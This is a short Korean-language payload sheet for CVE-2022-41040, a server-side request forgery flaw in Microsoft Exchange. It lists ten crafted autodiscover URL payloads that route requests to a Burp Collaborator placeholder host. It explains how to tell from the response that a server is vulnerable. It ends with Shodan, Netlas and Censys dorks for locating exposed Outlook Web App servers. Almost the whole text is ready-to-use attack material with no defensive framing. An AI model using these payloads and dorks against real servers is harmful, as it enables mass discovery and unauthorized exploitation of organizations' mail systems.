CVE-2022-41040

서버 측 요청 위조에 취약한 Microsoft Exchange

Payload :

• /autodiscover/autodiscover.json?@URL/&Email=autodiscover/autodiscover.json%3f@URL
• /autodiscover/autodiscover.json?@%d.v1.COLLABHERE/&Email=autodiscover/autodiscover.json%3f@%d.v1.COLLABHERE
• /autodiscover/autodiscover.json/v1.0/aa@%d.v2.COLLABHERE?Protocol=Autodiscoverv1
• /autodiscover/autodiscover.json/v1.0/aa..@%d.v3.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a..@%d.v3.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell
• /autodiscover/autodiscover.json/v1.0/aa@%d.v4.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a@%d.v4.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell
• /autodiscover/autodiscover.json?aa..%d.v5.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a..%d.v5.COLLABHERE&Protocol=Autodiscoverv1&%d.v5.COLLABHEREProtocol=Powershell
• /autodiscover/autodiscover.json?aa@%d.v6.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a@%d.v6.COLLABHERE&Protocol=Autodiscoverv1&%d.v6.COLLABHEREProtocol=Powershell
• /autodiscover/autodiscover.json?aa..%d.v7.COLLABHERE/owa/?&Email=aa@autodiscover/autodiscover.json?a..%d.v7.COLLABHERE&Protocol=Autodiscoverv1&%d.v7.COLLABHEREProtocol=Powershell
• /autodiscover/autodiscover.json?aa@%d.v8.COLLABHERE/owa/?&Email=aa@autodiscover/autodiscover.json?a@%d.v8.COLLABHERE&Protocol=Autodiscoverv1&%d.v8.COLLABHEREProtocol=Powershell
• /autodiscover/autodiscover.json/v1.0/aa@autodiscover/autodiscover.json?a..@%d.v9.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell

COLLABHERE를 Burp Collaborator로 바꾸세요

취약한 경우 상태는 404여야 하며 응답에 IIS Web Core가 포함되어야 합니다

dork 목록

• http.favicon.hash:1768726119 (Shodan)
• http.component:"outlook web app" (Shodan)
• http.component:"outlook web app" ssl:"hybrid" (Shodan)
• tag.name:"microsoft_exchange" prot7:http http.status_code:200 (Netlas.io)
• same_service(http://services.http.response.favicons.name: /owa/auth/ and services.http.response.html_title={"Outlook Web App", "Outlook"}) (Censys)